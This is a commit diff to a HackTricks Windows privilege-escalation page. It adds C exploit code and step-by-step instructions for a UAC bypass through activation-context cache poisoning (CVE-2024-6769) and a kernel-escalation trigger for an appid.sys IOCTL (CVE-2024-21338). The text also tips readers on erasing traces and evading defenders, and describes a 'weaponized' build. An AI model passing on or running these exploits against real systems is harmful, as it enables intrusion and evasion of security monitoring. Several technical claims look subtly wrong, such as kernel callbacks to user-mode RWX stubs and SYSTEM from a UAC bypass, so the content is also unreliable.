Skip to content

Commit eaa84ce

Browse files
authored
Merge pull request #1595 from HackTricks-wiki/research_update_src_windows-hardening_windows-local-privilege-escalation_windows-c-payloads_20251123_082439
Research Update Enhanced src/windows-hardening/windows-local...
2 parents 1ebaf79 + 5883288 commit eaa84ce

File tree

1 file changed

+125
-1
lines changed

1 file changed

+125
-1
lines changed

src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md

Lines changed: 125 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -68,6 +68,74 @@ int main(void) {
6868

6969
---
7070

71+
## UAC Bypass – Activation Context Cache Poisoning (`ctfmon.exe`, CVE-2024-6769)
72+
Drive remapping + activation context cache poisoning still works against patched Windows 10/11 builds because `ctfmon.exe` runs as a high-integrity trusted UI process that happily loads from the caller’s impersonated `C:` drive and reuses whatever DLL redirections `CSRSS` has cached. Abuse goes as follows: re-point `C:` at attacker-controlled storage, drop a trojanized `msctf.dll`, launch `ctfmon.exe` to gain high integrity, then ask `CSRSS` to cache a manifest that redirects a DLL used by an auto-elevated binary (e.g., `fodhelper.exe`) so the next launch inherits your payload without a UAC prompt.
73+
74+
Practical workflow:
75+
1. Prepare a fake `%SystemRoot%\System32` tree and copy the legitimate binary you plan to hijack (often `ctfmon.exe`).
76+
2. Use `DefineDosDevice(DDD_RAW_TARGET_PATH)` to remap `C:` inside your process, keeping `DDD_NO_BROADCAST_SYSTEM` so the change stays local.
77+
3. Drop your DLL + manifest into the fake tree, call `CreateActCtx/ActivateActCtx` to push the manifest into the activation-context cache, then launch the auto-elevated binary so it resolves the redirected DLL straight into your shellcode.
78+
4. Delete the cache entry (`sxstrace ClearCache`) or reboot when finished to erase attacker fingerprints.
79+
80+
<details>
81+
<summary>C - Fake drive + manifest poison helper (CVE-2024-6769)</summary>
82+
83+
```c
84+
#define WIN32_LEAN_AND_MEAN
85+
#include <windows.h>
86+
#include <shlwapi.h>
87+
#pragma comment(lib, "shlwapi.lib")
88+
89+
BOOL WriteWideFile(const wchar_t *path, const wchar_t *data) {
90+
HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
91+
if (h == INVALID_HANDLE_VALUE) return FALSE;
92+
DWORD bytes = (DWORD)(wcslen(data) * sizeof(wchar_t));
93+
BOOL ok = WriteFile(h, data, bytes, &bytes, NULL);
94+
CloseHandle(h);
95+
return ok;
96+
}
97+
98+
int wmain(void) {
99+
const wchar_t *stage = L"C:\\Users\\Public\\fakeC\\Windows\\System32";
100+
SHCreateDirectoryExW(NULL, stage, NULL);
101+
CopyFileW(L"C:\\Windows\\System32\\ctfmon.exe", L"C:\\Users\\Public\\fakeC\\Windows\\System32\\ctfmon.exe", FALSE);
102+
CopyFileW(L".\\msctf.dll", L"C:\\Users\\Public\\fakeC\\Windows\\System32\\msctf.dll", FALSE);
103+
104+
DefineDosDeviceW(DDD_RAW_TARGET_PATH | DDD_NO_BROADCAST_SYSTEM,
105+
L"C:", L"\\??\\C:\\Users\\Public\\fakeC");
106+
107+
const wchar_t manifest[] =
108+
L"<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
109+
L"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"
110+
L" <dependency><dependentAssembly>"
111+
L" <assemblyIdentity name='Microsoft.Windows.Common-Controls' version='6.0.0.0'"
112+
L" processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*' />"
113+
L" <file name='advapi32.dll' loadFrom='C:\\Users\\Public\\fakeC\\Windows\\System32\\msctf.dll' />"
114+
L" </dependentAssembly></dependency></assembly>";
115+
WriteWideFile(L"C:\\Users\\Public\\fakeC\\payload.manifest", manifest);
116+
117+
ACTCTXW act = { sizeof(act) };
118+
act.lpSource = L"C:\\Users\\Public\\fakeC\\payload.manifest";
119+
ULONG_PTR cookie = 0;
120+
HANDLE ctx = CreateActCtxW(&act);
121+
ActivateActCtx(ctx, &cookie);
122+
123+
STARTUPINFOW si = { sizeof(si) };
124+
PROCESS_INFORMATION pi = { 0 };
125+
CreateProcessW(L"C:\\Windows\\System32\\ctfmon.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
126+
127+
WaitForSingleObject(pi.hProcess, 2000);
128+
DefineDosDeviceW(DDD_REMOVE_DEFINITION, L"C:", L"\\??\\C:\\Users\\Public\\fakeC");
129+
return 0;
130+
}
131+
```
132+
133+
</details>
134+
135+
Cleanup tip: after popping SYSTEM, call `sxstrace Trace -logfile %TEMP%\sxstrace.etl` followed by `sxstrace Parse` when testing—if you see your manifest name in the log, defenders can too, so rotate paths each run.
136+
137+
---
138+
71139
## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
72140
If the current process holds **both** `SeDebug` and `SeImpersonate` privileges (typical for many service accounts), you can steal the token from `winlogon.exe`, duplicate it, and start an elevated process:
73141
@@ -203,10 +271,66 @@ Validate the result with Process Explorer/Process Hacker by checking the Protect
203271

204272
---
205273

274+
## Local Service -> Kernel via `appid.sys` Smart-Hash (`IOCTL 0x22A018`, CVE-2024-21338)
275+
`appid.sys` exposes a device object (`\\.\\AppID`) whose smart-hash maintenance IOCTL accepts user-supplied function pointers whenever the caller runs as `LOCAL SERVICE`; Lazarus is abusing that to disable PPL and load arbitrary drivers, so red teams should have a ready-made trigger for lab use.
276+
277+
Operational notes:
278+
- You still need a `LOCAL SERVICE` token. Steal it from `Schedule` or `WdiServiceHost` using `SeImpersonatePrivilege`, then impersonate before touching the device so ACL checks pass.
279+
- IOCTL `0x22A018` expects a struct containing two callback pointers (query length + read function). Point both at user-mode stubs that craft a token overwrite or map ring-0 primitives, but keep the buffers RWX so KernelPatchGuard does not crash mid-chain.
280+
- After success, drop out of impersonation and revert the device handle; defenders now look for unexpected `Device\\AppID` handles, so close it immediately once privilege is gained.
281+
282+
<details>
283+
<summary>C - Skeleton trigger for `appid.sys` smart-hash abuse</summary>
284+
285+
```c
286+
#define WIN32_LEAN_AND_MEAN
287+
#include <windows.h>
288+
#include <stdio.h>
289+
290+
typedef struct _APPID_SMART_HASH {
291+
ULONGLONG UnknownCtx[4];
292+
PVOID QuerySize; // called first
293+
PVOID ReadBuffer; // called with size returned above
294+
BYTE Reserved[0x40];
295+
} APPID_SMART_HASH;
296+
297+
DWORD WINAPI KernelThunk(PVOID ctx) {
298+
// map SYSTEM shellcode, steal token, etc.
299+
return 0;
300+
}
301+
302+
int wmain(void) {
303+
HANDLE hDev = CreateFileW(L"\\\\.\\AppID", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
304+
if (hDev == INVALID_HANDLE_VALUE) {
305+
printf("[-] CreateFileW failed: %lu\n", GetLastError());
306+
return 1;
307+
}
308+
309+
APPID_SMART_HASH in = {0};
310+
in.QuerySize = KernelThunk;
311+
in.ReadBuffer = KernelThunk;
312+
313+
DWORD bytes = 0;
314+
if (!DeviceIoControl(hDev, 0x22A018, &in, sizeof(in), NULL, 0, &bytes, NULL)) {
315+
printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
316+
}
317+
CloseHandle(hDev);
318+
return 0;
319+
}
320+
```
321+
322+
</details>
323+
324+
Minimal fix-up for a weaponized build: map an RWX section with `VirtualAlloc`, copy your token duplication stub there, set `KernelThunk = section`, and once `DeviceIoControl` returns you should be SYSTEM even under PPL.
325+
326+
---
327+
206328
## References
207329
* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
208330
* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
209331
* CreateProcessAsPPL – minimal PPL process launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
210332
* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
333+
* DarkReading – ["Novel Exploit Chain Enables Windows UAC Bypass"](https://www.darkreading.com/vulnerabilities-threats/windows-activation-context-cache-elevation) (2024)
334+
* Avast Threat Labs – ["Lazarus Deploys New FudModule Rootkit"](https://decoded.avast.io/threatresearch/lazarus-deploys-new-fudmodule-rootkit/) (2024)
211335
212-
{{#include ../../banners/hacktricks-training.md}}
336+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)